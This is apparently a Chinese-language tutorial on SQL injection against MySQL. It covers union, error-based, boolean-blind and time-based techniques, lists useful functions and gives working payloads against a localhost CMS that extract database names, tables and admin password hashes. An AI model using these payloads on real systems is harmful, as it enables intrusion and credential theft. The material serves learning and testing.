一 、先说一下SQL注入四大手法:联合查询、报错注入、布尔盲注、延时注入
二、SQL注入口诀
前提存在SQL 注入漏洞的情况下,注入手法的选择
是否有回显 有:联合查询
是否有报错 有:报错注入
是否有布尔类型状态 有:布尔盲注
绝招 延时注入
三、详细介绍
1.联合查询 有回显(通过id=1 id=2),则可以利用
(1)常用函数
version() mysql 数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@versoin_compile_os 操作系统版本
length() 返回字符串的长度
substring()
substr() 截取字符串
mid()
left() 从左侧开始取指定字符个数的字符串
concat() 没有分隔符的连接字符串
concat_ws() 含有分割符的连接字符串
group_conat() 连接一个组的字符串
ord() 返回ASCII 码
ascii()
hex() 将字符串转换为十六进制
unhex() hex 的反向操作
md5() 返回MD5 值
floor(x) 返回不大于x 的最大整数
round() 返回参数x 接近的整数
rand() 返回0-1 之间的随机浮点数
load_file() 读取文件,并返回文件内容作为一个字符串
sleep() 睡眠时间为指定的秒数
if(true,t,f) if 判断
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果
(2) 步骤
确定有联合查询的注入点
判断当前表中的字段(列)个数 通过order by 一次尝试
order by 1 order by 2 order by 15 存在15个字段
判断显示位
可以选在获得当前路径(@@basedir)、当前数据库版本号(@@version)、当前登录用户(user())、当前所使用的数据库(database())。
当前数据库表的名字
获取字段名
Userid username password
字段内容
admin:e10adc3949ba59abbe56e057f20f883e 密码可以转义
2. 报错注入 显示数据库报错 具体函数如同联合查询
公式一 获取数据库信息
获得表名
公式二 获取用户名 密码
公式三 得到数据库名字
3.布尔盲注
(1)先判断是不是属于布尔注入
?id=33 and 1=1 --+ 显示正常网页
?id=33 and 1=2 --+ 显示区别于正常的网页
(2)计算所要查询内容的长度(先盲注数据库的名称)
?id=33 and length(database())>0
?id=33 and length(database())=3
说明当前数据库名的字符长度为3
(3)按位注入数据库名字
?id=33 and ascii(substr((select database()),1,1)) = 99
99 c
?id=33 and ascii(substr(database(),2,1)) =109
109 m
(4)查表名
(5)查字段名 查数据
4. 延时注入
(1)注入得到当前数据库用户名
?id=33 and if(ascii(substr(current_user(),1,1)) =114,sleep(5),1) --+
114 r
(2)查询数据库名
http://localhost:81/cms/show.php
?id=33 and if(ascii(substr(database(),1,1)) =105,sleep(5),1) --+
(3)表名
http://localhost:81/cms/show.php
?id=33 and if(ascii(substr((SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <120,sleep(5),1) --+